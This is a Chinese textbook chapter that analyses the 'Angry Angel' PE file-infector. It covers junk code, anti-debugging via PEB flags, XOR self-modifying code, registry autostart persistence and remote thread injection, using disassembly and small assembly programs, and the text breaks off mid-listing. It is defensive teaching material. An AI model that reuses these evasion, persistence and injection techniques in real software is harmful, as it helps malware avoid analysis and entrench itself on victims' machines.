兵家言“知己知彼,百战不殆”,杀毒亦是如此。要想更好地查杀PE病毒,我们有必要了解PE病毒的实现方法。在开始学习本章的内容之前,有一点要敬告大家:本章的内容是为了让大家能更好地查杀PE病毒,切勿使用该技术实施破坏或做违法的事情,否则后果自负。

本章讨论的这种PE病毒也是一个补丁程序,当它的宿主程序运行后就开始实施传播和模拟破坏行为。

目前,常见的杀毒软件对PE病毒的处理方法都很简单,大部分不能还原文件,而是直接删除,用户别无选择,只能是重新安装受感染的程序。

PE病毒比直接在内存中感染,或通过加载启动项加载的病毒还要难以清除。原因是其感染范围大,无论是系统盘还是非系统盘,无论是硬盘还是U盘,都有可能存在被感染的文件,杀之不竭,防不胜防。有些用户即使重新安装了操作系统,也常常会因为不小心点击了带病毒的PE文件而重新感染。本章主要研究PE病毒所使用的基本技术特征,以及解毒方法。

敬告 讨论这部分的主要目的是为了学习,请勿使用该技术实施破坏或做违法的事情。

23.1 病毒保护技术

PE病毒和计算机中的其他病毒一样,具备三大基本特性,即破坏性、可传播性和隐蔽性。PE病毒中使用的技术比较复杂,往往会让自动查杀工具陷入病毒设计的代码陷阱中,导致杀毒软件工作不正常或完全失效。

本节以“愤怒天使”病毒为例,从编程角度来了解一下病毒普遍使用的保护技术。

扩展阅读 愤怒天使病毒

病毒名称:Win32.Angel.xx(xx根据实际情况会有不同,记录愤怒天使病毒的版本信息)

别名:愤怒天使

威胁级别:★☆☆☆☆

病毒类型:感染型

长度:16074

影响系统: Win9x\WinMe\WinNT\Win2000\WinXP\Win2003

该病毒会感染计算机系统中的可执行文件,并且试图让受感染的计算机系统主动链接下载网络中指定服务器上的病毒、木马等恶意程序。

病毒运行后,将病毒文件ServerX.exe复制到受感染计算机系统的系统目录下,并将其属性设置成“系统隐藏”,导致计算机用户无法发现并删除。病毒还会修改受感染系统的注册表启动项,以便随系统启动而自动运行。同时,病毒会不断地监控注册表有关键值项,如发现自身添加的启动项被删除,就会立即将其恢复。

病毒会搜索系统中所有磁盘分区中的可执行文件,将其感染。受到感染的可执行文件大小会变大,占用磁盘空间会增大,并且无法正常使用。另外,在病毒感染可执行文件的这个过程中,病毒会给每个受感染的文件做标记,以避免文件被重复感染。

病毒为了能寄生到其他可执行程序中,使用了动态加载技术、静态补丁技术、重定位技术等,这些技术在前面已经接触到了。下面主要来了解病毒为了对付杀毒软件的查杀以及动态调试软件的跟踪调试等使用的一些自我保护的手段和技术。

23.1.1 花指令

花指令(Junk Code),顾名思义,即花哨的指令、没有用的指令。通过在代码中添加花指令,可以增加反汇编和逆向的难度,让破解者无法正确地反汇编程序的功能,使破解者在调试和跟踪过程中迷路。花指令的构造五花八门,主要方法可以通过一些跳转指令、栈或位运算来实现,以下以跳转指令为例来看花指令的编写方法,看下面的代码:

:00000000 60                       pushad
:00000001 7803                     js 00000006
:00000003 7901                     jns 00000006
:00000005 EBE8                     jmp FFFFFFEF
:00000007 AF                       scasd
:00000008 1400                     adc al, 00
:0000000A 008B742420E8             add byte ptr [ebx+E8202474], cl
:00000010 1100                     adc dword ptr [eax], eax
:00000012 0000                     add byte ptr [eax], al
:00000014 61                       popad
:00000015 7803                     js 0000001A
:00000017 7901                     jns 0000001A
:00000019 EB68                     jmp 00000083
:0000001B 18445400                 sbb byte ptr [esp+2*edx], al
:0000001F C3                       ret

以上反汇编代码选自愤怒天使病毒,看其中的两句:

js 00000006     (判断运算结果是否为负数,如果是则跳转。)
判断逻辑:
    如果 SF = 1(表示上一条算术或逻辑运算的结果是负数,即最高位为1)→ 发生跳转。
    如果 SF = 0(表示结果是非负数,即正数或零)→ 不跳转,继续执行下一条指令。
jns 00000006		(判断运算结果是否为非负数(正数或零),如果是则跳转)
判断逻辑:
    如果 SF = 0(表示上一条指令的结果是 非负数:正数或零,最高位为0)→ 发生跳转。
    如果 SF = 1(结果为负数)→ 不跳转,继续执行下一条指令。

这两条指令等价于直接跳转。因为两个判断都指向同一个地址,指令起始字节码为E8。将E8前的垃圾指令EB(如上所示,已经为该指令设置了删除线)更改为90,然后重新加载再来反汇编(以下反汇编代码取自被感染了愤怒天使病毒的记事本程序的相同位置):

0100F510     60                  	PUSHAD
0100F511     78 03              	JS SHORT notepadr.0100F516
0100F513     79 01              	JNS SHORT notepadr.0100F516
0100F515     90                  	NOP
0100F516     E8 AF140000     			CALL notepadr.010109CA
0100F51B     8B7424 20       			MOV ESI,DWORD PTR SS:[ESP+20]
0100F51F     E8 11000000     			CALL notepadr.0100F535
0100F524     61               		POPAD

可以看到,反汇编代码已经发生了重组,90 E8指令被分解,前一个解释为nop指令,后一个则和其后的一个双字组合成另外的指令。即代码中的条件判断语句转移到的地址0100F516处变成了一个call调用指令,继续看call指令后的操作数所在位置的反汇编指令字节码:

010109CA     C3                  RETN
010109CB     204445 20           AND BYTE PTR SS:[EBP+EAX*2+20],AL
010109CF     0300                ADD EAX,DWORD PTR DS:[EAX]

跳转到的位置仅仅是一个返回指令RETN,并没有做任何有意义的操作,所以说,call notepadr.010109CA也是一条花指令。下面用汇编源代码完整地还原该部分花指令的构造方法:

Rubbish   proc
          Ret
Rubbish   endp
Start:
js        _ret
jns      _ret
db      0Ebh  ;添加的无用字节码,以混淆动态调试软件的反汇编代码
_ret:    call Rubbish
mov esi,dword ptr [esp+20]

定义的函数Rubbish没有做任何操作,是花指令;条件分支语句跳转到同一个位置,也是花指令;添加的无用字节码EB会被调试软件解释成指令语句,扰乱正常的调试过程。以上指令中,有用的指令只有最后一句(也就是加黑部分)。通过添加无用字节码EB,可以有效地阻碍调试器的正常调试,使程序流程转向错误的业务逻辑。

23.1.2 反跟踪技术

通过在指令中添加无用的数据,可以造成调试器的误识,从而防止反病毒人员对病毒代码进行跟踪调试。在上面的例子中,数据EB即为垃圾指令,在代码段中插入这样的数据,很容易让调试器误识。看下面的例子:

0100F51B     8B7424 20      		MOV ESI,DWORD PTR SS:[ESP+20]   ; kernel32.7C817077
0100F51F     E8 11000000     		CALL notepadr.0100F535  ;注意跳转到的位置
0100F524     61                	POPAD
0100F525     78 03              JS SHORT notepadr.0100F52A
0100F527     79 01              JNS SHORT notepadr.0100F52A
0100F529     EB 68              JMP SHORT notepadr.0100F593
0100F52B   ^ 79 E6              JNS SHORT notepadr.0100F513
0100F52D     0001               ADD BYTE PTR DS:[ECX],AL
0100F52F     C3                 RETN
0100F530     78 03              JS SHORT notepadr.0100F535
0100F532     79 01              JNS SHORT notepadr.0100F535
0100F534     EB 59           		JMP SHORT notepadr.0100F58F
0100F536     E8 12100000      	CALL notepadr.0101054D

地址0x0100F51F处的指令为一个调用指令CALL notepadr.0100F535,可是大家却发现调试器真正反汇编出的代码中,该地址的字节码并不是指令,而是操作数,最大的元凶就是59前的垃圾数据EB。这主要是因为大部分的调试器多采用线性扫描算法,对代码中夹杂的垃圾数据并不进行全局范围的深入分析,这样就无法正确识别代码与数据,从而造成误识。将该字节EB更改为90后,59就由操作数变成了指令。以下是再次反汇编的结果:

0100F530     78 03              JS SHORT notepadr.0100F535
0100F532     79 01              JNS SHORT notepadr.0100F535
0100F534     90               	nop
0100F535     59               	POP ECX                   ; notepadr.0100F524
0100F536     E8 12100000      	CALL notepadr.0101054D

还有比这更复杂一点的例子,看以下反汇编指令:

0100F572    03FA                ADD EDI,EDX
0100F574    E8 0F000000     		CALL notepadr.0100F588
0100F579    47                  INC EDI
0100F57A    65:74 50          	JE SHORT notepadr.0100F5CD   ; 多余的前缀
0100F57D    72 6F               JB SHORT notepadr.0100F5EE
0100F57F    6341 64           	ARPL WORD PTR DS:[ECX+64],AX
0100F582    64:72 65          	JB SHORT notepadr.0100F5EA   ; 多余的前缀
0100F585    73 73               JNB SHORT notepadr.0100F5FA
0100F587    005E 33         		ADD DS:[ESI+33],BL
0100F58A    C9                  LEAVE

相应的字节码为:

0000C770  8B 3B 03 FA E8 0F 00 00 00 47 65 74 50 72 6F 63   ;.....GetProc
0000C780  41 64 64 72 65 73 73 00 5E 33 C9 B1 0F FC F3 A6   Address^3.
0000C790  75 DA 8B F2 8B 5D 24 03 DE 0F B7 0C 43 8B 5D 1C   u]$...C].

可以看到,5E指令前的所谓垃圾指令00还不能被替换为其他值,因为它不仅是垃圾指令,还另有他用,它是函数名GetProcAddress的最后一个“\0”结尾字符。如果将该字节修改成90,则会影响程序运行,导致运行失败。从上面的分析可以看出,巧妙地利用一些编程技巧可以有效地减缓跟踪代码流程的进度,为逆向分析制造麻烦。假设病毒程序的设计者在病毒代码中加入对某段代码的运行时间的检测,通过判断运行时间值即可发现当前进程是否处于用户调试跟踪状态,从而采取更有效的措施结束调试或误导用户进入其他代码流程,这属于反调试的范畴。

23.1.3 反调试技术

反病毒工作的第一步是动态调试病毒程序流程,而病毒要做的则是反调试技术。病毒通过各种方法获取当前运行的进程状态,看病毒进程是否处于被调试状态,如果处在被调试状态,则执行破坏模块或者执行反调试程序。

以下是一个获取当前进程是否处于被调试状态的示例。该示例采用的主要方法是在操作系统记录的与当前线程或进程中查找与调试有关的信息。通过对本书9.1.4节的学习我们知道,操作系统中的每一个程序在运行时会维护一个主线程对应的TEB,即线程环境块,而该块中30h处指向了该线程所属的进程环境块PEB。在PEB偏移68h处有一个标志字NtGlobalFlags,这个标志字随着进程状态的不同而不同。以下是该标志字常用的值及常量符号定义:

FLG_STOP_ON_EXCEPTION               0x00000001
FLG_SHOW_LDR_SNAPS                   0x00000002
FLG_DEBUG_INITIAL_COMMAND          0x00000004
FLG_STOP_ON_HUNG_GUI                0x00000008
FLG_HEAP_ENABLE_TAIL_CHECK         0x00000010
FLG_HEAP_ENABLE_FREE_CHECK         0x00000020
FLG_HEAP_VALIDATE_PARAMETERS      0x00000040
FLG_HEAP_VALIDATE_ALL               0x00000080
FLG_POOL_ENABLE_TAIL_CHECK         0x00000100
FLG_POOL_ENABLE_FREE_CHECK         0x00000200
FLG_POOL_ENABLE_TAGGING             0x00000400
FLG_HEAP_ENABLE_TAGGING             0x00000800
FLG_USER_STACK_TRACE_DB             0x00001000
FLG_KERNEL_STACK_TRACE_DB          0x00002000
FLG_MAINTAIN_OBJECT_TYPELIST      0x00004000
FLG_HEAP_ENABLE_TAG_BY_DLL         0x00008000
FLG_IGNORE_DEBUG_PRIV               0x00010000
FLG_ENABLE_CSRDEBUG                  0x00020000
FLG_ENABLE_KDEBUG_SYMBOL_LOAD     0x00040000
FLG_DISABLE_PAGE_KERNEL_STACKS    0x00080000
FLG_HEAP_ENABLE_CALL_TRACING      0x00100000
FLG_HEAP_DISABLE_COALESCING        0x00200000
FLG_VALID_BITS 0x003FFFFF
FLG_ENABLE_CLOSE_EXCEPTION         0x00400000
FLG_ENABLE_EXCEPTION_LOGGING      0x00800000
FLG_ENABLE_HANDLE_TYPE_TAGGING    0x01000000
FLG_HEAP_PAGE_ALLOCS                0x02000000
FLG_DEBUG_WINLOGON                   0x04000000
FLG_ENABLE_DBGPRINT_BUFFERING     0x08000000
FLG_EARLY_CRITICAL_SECTION_EVT    0x10000000
FLG_DISABLE_DLL_VERIFICATION      0x80000000

进程如果被调试程序创建,那么在加载映像期间,用户模式的代码在调用LdrpInitialize函数进行初始化时,会通过PEB.BeingDebugged字段的值来判断当前进程是否处在被调试阶段,如果被调试,则系统会将NtGlobalFlag的值设置为以下内容:

If (!NT_SUCCESS(st)){
  If (Peb->BeingDebugged){
Peb->NtGlobalFlag |= FLG_HEAP_ENABLE_TAIL_CHECK |
                        FLG_HEAP_ENABLE_FREE_CHECK |
                        FLG_HEAP_VALIDATE_PARAMETERS;
      ......

从以上所列代码可以看出,NtGlobalFlag的值被设置为当前值与三个标志相或的组合,最终NtGlobalFlag得到的结果是70h。通过该标志字就可以判断当前进程是否处在被调试状态,其实这种方法和直接通过字段Peb.BeingDebugged的值进行判断的效果是一样的。代码清单23-1的程序代码实现了上述方法。

代码清单23-1 反调试技术实例(chapter23\antidebug.asm)

;antiDebug.asm  反调试技术测试
;使用 nmake 或下列命令进行编译和链接:
;ml -c -coff antiDebug.asm
;link -subsystem:windows antiDebug.obj  

.386
.model flat,stdcall
option casemap:none		;区分大小写

include    C:/masm32/include/windows.inc
include    C:/masm32/include/user32.inc
includelib C:/masm32/lib/user32.lib
include    C:/masm32/include/kernel32.inc 
includelib C:/masm32/lib/kernel32.lib

;数据段
.data 
szText 		db "HelloWorldPE", 0  
szDebugged 	db "我正在被调试!", 0 
szNoDebugged db "没有被调试!", 0  

.code 
start:
	assume fs:nothing 
	;指向 PDB(Process Database) 
	mov eax, fs:[30h]	;EAX为TEB.ProcessEnvironmentBlock
	
	mov eax, [eax+68h]
	and eax, 070h 		;NtGlobalFlags
	test eax, eax 
	jne @isDebugged 
	
	invoke MessageBox, NULL, addr szNoDebugged, \
								NULL, MB_OK 
	jmp @ret 
	
@isDebugged:
	invoke MessageBox, NULL, addr szDebugged, \
								NULL, MB_OK 
@ret:
	invoke ExitProcess, NULL 

end start 

以上所述只是根据系统记录信息判断进程是否被调试的一种方法,我们还可以通过诸如API函数(如函数IsDebuggerPresent)来判断进程是否处于被调试状态;还有的病毒则通过获取所有常用调试器的特征来判断当前进程是否处于被调试状态等。类似的技术也会随着人们对调试态与正常态下程序状态及相关信息存在的区别的了解的深入被越来越多地开发出来。

直接运行:

用OllyDbg调试:

手动去掉反调试测试,把jnz改成jz指令,此时字节码由75 12变成74 12

用FlexHex修改字节码试试:

直接运行测试:

用OllyDbg调试:

说明这种方法可以去除反调试是可行的。

23.1.4 自修改技术

SMC(Self-Modifying Code,代码的自修改)技术是指对要运行的代码预先进行加密,在运行时将代码在内存实施再解密还原的技术。通过这样的技术,可以实现简单的代码保护,不过这种技术加密的代码通过动态跟踪识别,很容易就能得到解密后的代码。以下是一个简单的例子:

......
mov eax,offset _encrptEnd
sub eax,offset _encrptStart
mov dwEncrptSize,eax

lea eax,_encrptStart
invoke _encrptIt,eax,dwEncrptSize

_encrptStart:
db 1eh,74h,1eh,74h,1ch,74h,44h,34h
db 74h,1eh,74h,9ch,73h,74h,74h,74h
_encrptEnd:
......

如上所示,程序运行时,会首先将_encrptStart开始的加密字节码还原。程序使用了最简单的加密算法XOR(异或算法),由于对一个数异或两次得到的还是这个数本身,所以加密和解密都可以只用一个函数。以下是该函数的详细定义:

;----------------------
; 异或加密解密算法
; 加密解密使用同一个函数
;----------------------
_encrptIt proc   _lpSrc,_size
  pushad
  mov esi,_lpSrc
  mov edi,_lpSrc
  mov ecx,_size
loc1:
  mov al,byte ptr [esi]
  xor al,74h  ;算法很简单,异或
  mov byte ptr [edi],al
  inc esi
  inc edi
  dec ecx
  .if ecx!=0
    jmp loc1
  .endif

  popad
  ret
_encrptIt endp

函数_encrptIt将得到的字节与74h异或,作为加密后的字节存储,被加密的字节重新与74h异或则能得到最初的字节(即解密后的字节)。经过解密以后的字节码被还原以后变成指令代码,如下黑体部分所示:

0040108D   |.  FF35 0D304000 	PUSH DWORD PTR DS:[40300D]
00401093   |.  50             PUSH EAX
00401094   |.  E8 67FFFFFF    CALL smc.00401000
00401099   |.  6A 00          PUSH 0; /Style = MB_OK|MB_APPLMODAL
0040109B   |.  6A 00          PUSH 0 ; |Title = NULL
0040109D   |.  68 00304000    PUSH smc.00403000; |Text = "HelloWorldPE"
004010A2   |.  6A 00          PUSH 0       ; |hOwner = NULL
004010A4   |.  E8 07000000    CALL <JMP.&user32.MessageBoxA>; \MessageBoxA
......

解密完成后,程序指令指针会指向该部分数据的起始,然后运行刚解密的代码。

注意 由于加密是在内存的代码中进行,所以需要注意一点的是,在链接时要指定代码段属性为可读、可写、可运行,相关代码在随书文件chapter23\smc1.asm中。

编译运行的时候报错,用ollydbg调试也会报错,但是用VS2019调试可以正常弹出HelloWorld对话框。

核心原因:代码段的内存保护属性

解决方法,使用Windows API来更改内存保护属性。

; 调用 VirtualProtect 函数
; lpAddress: 要修改的代码起始地址
; dwSize: 代码块大小
; flNewProtect: 新权限,PAGE_EXECUTE_READWRITE 允许读、写、执行
; lpflOldProtect: 用于保存原权限的变量
invoke VirtualProtect, eax, dwEncrptSize, PAGE_EXECUTE_READWRITE, addr dwOldProtect

完整的源码如下:

;smc1.asm  代码的自修改测试
;使用 nmake 或下列命令进行编译和链接:
;ml -c -coff smc1.asm
;link -section:.text,ERW -subsystem:windows smc1.obj  

.386
.model flat,stdcall
option casemap:none		;区分大小写

include    C:/masm32/include/windows.inc
include    C:/masm32/include/user32.inc
includelib C:/masm32/lib/user32.lib
include    C:/masm32/include/kernel32.inc 
includelib C:/masm32/lib/kernel32.lib
include    C:/masm32/include/masm32.inc 
includelib C:/masm32/lib/masm32.lib

;数据段
.data 
szText 		db 'HelloWorldPE', 0  
dwEncrptSize dd ? 
dwOldProtect dd ?     ; ← 添加这个变量定义

.code 
;----------------------
; 加密解密使用同一个函数
;----------------------
_encrptIt proc _lpSrc, _size 
	pushad 
	mov esi, _lpSrc 
	mov edi, _lpSrc 
	mov ecx, _size 
loc1:
	mov al, byte ptr [esi]
	xor al, 74h 		;算法很简单,异或
	mov byte ptr [edi], al 
	
	inc esi 
	inc edi 
	dec ecx 
	.if ecx!=0 
		jmp loc1 
	.endif 
	
	popad 
	ret 
_encrptIt endp 

start:
	;1. 计算需要加密/修改的代码块大小
	mov eax, offset _encrptEnd 
	sub eax, offset _encrptStart 
	mov dwEncrptSize, eax 
	
	;2. 修改内存保护属性,使代码段可写
	lea eax, _encrptStart 
	invoke VirtualProtect, eax, dwEncrptSize, PAGE_EXECUTE_READWRITE, addr dwOldProtect 
	
	;3. 执行加密(自修改代码)
	lea eax, _encrptStart 
	invoke _encrptIt, eax, dwEncrptSize 
	
	;4. 恢复原来的内存保护属性(可选但推荐)
	lea eax, _encrptStart 
	invoke VirtualProtect, eax, dwEncrptSize, dwOldProtect, addr dwOldProtect

_encrptStart:
	db 1eh,74h,1eh,74h,1ch,74h,44h,34h
	db 74h,1eh,74h,9ch,73h,74h,74h,74h
_encrptEnd:
	add eax,1
	invoke MessageBox, NULL, addr szText, NULL, MB_OK 
	invoke ExitProcess, NULL 

end start 

编译运行:

23.1.5 注册表项保护技术

有些病毒为了获得控制权,并不感染PE文件通过宿主的运行进入内存,而是感染系统启动项,这些启动项包括(但不限于)以下所列:

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEX
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\System\ControlSet001\Session Manager
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group  Policy
Objects\本地User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

病毒在注册表启动项中添加了引导自身启动的定义以后,为了防止被其他用户或者杀毒软件将其删除或修改,还必须时刻监视注册表的变化,随时修正这里的值,保证此处的值始终有效。以下是愤怒天使病毒代码中,通过一个线程回调函数来执行注册表监控操作的反汇编代码:

01010763     C8 000000         ENTER 0,0
01010767     8B5D 08           MOV EBX,DWORD PTR SS:[EBP+8]
0101076A     81EC 00010000     SUB ESP,100
01010770     8BFC              MOV EDI,ESP
01010772     E8 08000000       CALL notepadr.0101077F

0101077F     5E                POP ESI
01010780     68 00010000       PUSH 100
01010785     E8 04000000       CALL notepadr.0101078E

0101078E     58                POP EAX
0101078F     54                PUSH ESP
01010790     57                PUSH EDI
01010791     6A 00             PUSH 0
01010793     6A 00             PUSH 0
01010795     56                PUSH ESI    ;“Serverx”
01010796     53                PUSH EBX
01010797     FF10              CALL DWORD PTR DS:[EAX] ; RegQueryValueExA

以上代码通过函数RegQueryValueExA在注册表中查找Serverx键,获取键值。函数原型如下:

LSTATUS RegQueryValueExA
  (
    HKEY     hkey,
    LPCSTR   name,      ;指定要查询的子键名
    LPDWORD reserved,
    LPDWORD type,      ;返回键的类型
    LPBYTE   data,      ;返回键的名称
    LPDWORD count
  )

接着往下看:

010107A3     58                  POP EAX
010107A4     6A 00              PUSH 0
010107A6     6A 00              PUSH 0
010107A8     6A 04              PUSH 4
010107AA     6A 00              PUSH 0
010107AC     53                  PUSH EBX
010107AD     FF10 CALL DWORD PTR DS:[EAX] ; RegNotifyChangeKeyValue

通过调用函数RegNotifyChangeKeyValue跟踪注册表指定位置的值是否发生变化。函数原型如下:

LONG WINAPI RegNotifyChangeKeyValue(
  HKEY hKey,
  BOOL bWatchSubtree,      ;要监视的子键
  DWORD dwNotifyFilter,   ;监视过滤器
  HANDLE hEvent,
  BOOL fAsynchronous
);

;事件

函数中各参数解释如下:

1)hKey:要监视的键的句柄,或者指定一个标准键名。

2)bWatchSubtree:TRUE(非0)表示监视子项以及指定的项。

3)dwNotifyFilter:下述常数的一个或多个:

REG_NOTIFY_CHANGE_NAME,侦测注册表项名称的变化,以及侦测注册表的创建和删除事件。

REG_NOTIFY_CHANGE_ATTRIBUTES,侦测属性的变化。

REG_NOTIFY_CHANGE_LAST_SET,侦测上一次修改时间的变化,该例中使用了这个常数。

REG_NOTIFY_CHANGE_SECURITY,侦测对安全特性的改动。

4)hEvent:一个事件的句柄。如fAsynchronus为FALSE,则这里的设置会被忽略。

5)fAsynchronus:如果为0,那么除非侦测到一个变化,否则函数不会返回。如果为其他值,则这个函数会立即返回,而且在发生变化时触发由hEvent参数指定的一个事件。该函数的调用示例如下:

RegNotifyChangeKeyValue(hreg,
                    TRUE,
                    REG_NOTIFY_CHANGE_LAST_SET,
                    mWatchReg,
                    TRUE);

接着往下看,以下代码是重设注册表项的值:

010107AF     E8 04000000      CALL notepadr.010107B8
010107B8     58                  POP EAX
010107B9     68 00010000      PUSH 100
010107BE     57                  PUSH EDI
010107BF     6A 01              PUSH 1
010107C1     6A 00              PUSH 0
010107C3     56                  PUSH ESI
010107C4     53                  PUSH EBX
010107C5     FF10   CALL DWORD PTR DS:[EAX] ; RegSetValueExA重设注册表项

010107C7   ^ EB D1              JMP SHORT notepadr.0101079A
0101079A     E8 04000000      CALL notepadr.010107A3 ; 跳回到回调函数的开始,死循环

如果发现注册表项被修改,则执行RegSetValueExA函数重设病毒代码预设的值。通过构造这样的一个死循环,然后将这个循环放入一个线程回调函数中,就实现了对注册表项的监视和修复操作。

23.1.6 进程保护技术

病毒程序要想在内存中长久地运行,必须有自己的生存之道,这涉及进程的保护技术。RING3下常见的进程保护大部分都是通过注册系统服务或远程线程注入(这项技术在13.1.4节讲过),或者通过HOOK一些API函数进行自我隐藏和保护。PE病毒的运行一般都依赖于宿主程序,它寄生到宿主程序中的意图很明显:不想让我活,你也别想活!以下节选自对愤怒天使病毒的分析,其基本思路为:

步骤1 随意找一个窗口。

步骤2 找到窗口的进程ID。

步骤3 使用PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ标志打开该进程,得到该进程的HANDLE 。

步骤4 使用VirtualAllocEx在该进程上分配适当大小的内存,得到一个地址。这个地址是远程进程的,通过mov指令直接修改该地址上的值是无效的。

步骤5 如果需要传递一些参数到远程进程,可以通过函数WriteProcessMemory在该内存上写一些内容。

步骤6 使用CreateRemoteThread在远程进程中创建线程,执行非法操作。从表面上看,这意味着“让好人做坏事”。

步骤7 关闭句柄。

步骤8 调用VritualFreeEx将上面的内存释放。

以下是病毒通过远程线程注入保护自己的代码分析部分:

0100FA9E     58               POP EAX
0100FA9F     33C0             XOR EAX,EAX
0100FAA1     8986 FC000000    MOV DWORD PTR DS:[ESI+FC],EAX
0100FAA7     81EC 00010000    SUB ESP,100
0100FAAD     54               PUSH ESP
0100FAAE     E8 8D060000  CALL notepadr.01010140 ;该处是一个函数,有返回

返回了病毒程序的完整路径:edi=“C:\windows\system32\Serverx.exe”

0100FAB3     E8 00000000      CALL notepadr.0100FAB8
0100FAB8     5F                  POP EDI
0100FAB9     8B46 44           MOV EAX,DWORD PTR DS:[ESI+44] ; Sleep
0100FABC     8987 1F0D0000    MOV DWORD PTR DS:[EDI+D1F],EAX
0100FAC2     8B86 84000000    MOV EAX,DWORD PTR DS:[ESI+84] ; GetSystemTime
0100FAC8     8987 360D0000    MOV DWORD PTR DS:[EDI+D36],EAX
0100FACE     8987 030E0000    MOV DWORD PTR DS:[EDI+E03],EAX
0100FAD4     8B86 F0000000    MOV EAX,DWORD PTR DS:[ESI+F0] ;URLDownloadToFileA
0100FADA     8987 9A0D0000    MOV DWORD PTR DS:[EDI+D9A],EAX
0100FAE0     8987 580E0000    MOV DWORD PTR DS:[EDI+E58],EAX
0100FAE6     8B46 10           MOV EAX,DWORD PTR DS:[ESI+10] ;WinExec
0100FAE9     8987 6C0E0000    MOV DWORD PTR DS:[EDI+E6C],EAX
0100FAEF     8B46 50           MOV EAX,DWORD PTR DS:[ESI+50] ;OpenProcess
0100FAF2     8987 8F0E0000    MOV DWORD PTR DS:[EDI+E8F],EAX
0100FAF8     8B46 64           MOV EAX,DWORD PTR DS:[ESI+64] ;WaitForSingleObject
0100FAFB     8987 AB0E0000    MOV DWORD PTR DS:[EDI+EAB],EAX
0100FB01     8B46 10           MOV EAX,DWORD PTR DS:[ESI+10]
0100FB04     8987 C60E0000    MOV DWORD PTR DS:[EDI+EC6],EAX
0100FB0A     8B46 48           MOV EAX,DWORD PTR DS:[ESI+48] ;RegisterServiceProcess

注意,上面的函数地址并未获取到,在病毒里对此情况已经有所考虑。在Windows9x/2000中,每个应用程序都可以通过函数RegisterServiceProcess向系统申请注册成为一个服务进程,同时,通过这个函数注销其服务进程来结束这个服务进程的运行。如果一个进程注册为一个服务进程,通过Ctrl+Alt+Del就可以在任务列表里看见该进程的标题;而如果一个进程运行但没有向系统申请注册成为服务进程,那么就不会在任务列表里显示。愤怒天使病毒正是利用这个原理,使自身在运行时能在任务列表中实现隐藏。该函数存放于系统内核kernel32.dll中,具体声明如下:

DWORD RegisterServiceProcess(
  DWORD dwProcessId,
  DWORD dwType
);

其第一个参数指定为一个服务进程的进程标识,如果是0则注册当前的进程;第二个参数指出是注册还是注销当前的进程,其状态分别为RSP_SIMPLE_SERVICE和RSP_UNREGISTER_SERVICE。遗憾的是,该函数只存在于Windows 9x系统的kernel32.dll中,在NT中并不存在该函数。

0100FB0D     0BC0               OR EAX,EAX
0100FB0F     74 6F              JE SHORT notepadr.0100FB80

0100FB80     6A 00              PUSH 0
0100FB82     6A 00              PUSH 0
0100FB84     FF96 94000000    CALL DWORD PTR DS:[ESI+94] ; FindWindowA

查找窗口句柄函数FindWindowA,其原型为:

HWND WINAPI FindWindow(
  __in_opt   LPCTSTR lpClassName,
  __in_opt   LPCTSTR lpWindowName
);

两个参数分别是窗口的类名和窗口标题名。如果全部为NULL,则匹配任何一个窗口。

eax的返回值0001008C指向的位置数据为Unicode字符

“\Documents and Settings\Administrator\ApplicationData”。

接着往下看:

0100FB8A     50                  PUSH EAX
0100FB8B     54                  PUSH ESP
0100FB8C     50                  PUSH EAX
0100FB8D   FF9690000000    CALL DWORD PTR DS:[ESI+90]; GetWindowThreadProcessId

以上函数调用了GetWindowThreadProcessId,获取指定窗口所属的进程ID。原型为:

DWORD    GetWindowThreadProcessId(
    HWND         hWnd,                  //窗口句柄
    LPDWORD     lpdwProcessId        //返回进程ID
)

函数的功能:读取一个窗口的进程和线程ID,返回值是线程ID。

0100FB93     6A 00              PUSH 0
0100FB95     68 FF0F1F00      PUSH 1F0FFF
0100FB9A     FF56 50           CALL DWORD PTR DS:[ESI+50] ; OpenProcess

程序通过OpenProcess以不同的权限和用途打开一个已经存在的进程对象,函数原型:

HANDLE WINAPI OpenProcess(
  __in   DWORD dwDesiredAccess,
  __in   BOOL bInheritHandle,
  __in   DWORD dwProcessId
);

其中,dwDesiredAccess设置为PROCESS_ALL_ACCESS ,即十六进制的1F0FFFh。

0100FB9D     0BC0               OR EAX,EAX
0100FB9F     74 6F              JE SHORT notepadr.0100FC10 ;失败则跳转
0100FBA1     8BD8               MOV EBX,EAX
0100FBA3     6A 40              PUSH 40
0100FBA5     68 00100000      PUSH 1000
0100FBAA     68 00080000      PUSH 800
0100FBAF     6A 00              PUSH 0
0100FBB1     53                  PUSH EBX
0100FBB2     FF56 68           CALL DWORD PTR DS:[ESI+68] ; VirtualAllocEx
0100FBB5     0BC0               OR EAX,EAX
0100FBB7     74 4B              JE SHORT notepadr.0100FC04

程序通过调用VirtualAllocEx在目标进程的内存中获取空间。函数原型为:

LPVOID VirtualAllocEx(
HANDLE hProcess,   // 申请内存所在的进程句柄
LPVOID lpAddress, // 保留页面的内存地址;一般用NULL自动分配
SIZE_T dwSize,     // 欲分配的内存大小,字节单位;注意实际分配的内存大小是页内存大小的整数倍
DWORD flAllocationType,
DWORD flProtect
);

在目标进程获取内存空间的主要目的是,想与目标进程进行数据结构的共享。当病毒有一些数据结构需要在目标进程操作时,必须将信息存放到目标进程的地址空间中。

0100FBB9     8BE8               MOV EBP,EAX
0100FBBB     8D97 160D0000    LEA EDX,DWORD PTR DS:[EDI+D16]
0100FBC1     50                  PUSH EAX
0100FBC2     54                  PUSH ESP
0100FBC3     68 BE010000      PUSH 1BE
0100FBC8     90                  NOP
0100FBC9     52                  PUSH EDX
0100FBCA     55                  PUSH EBP
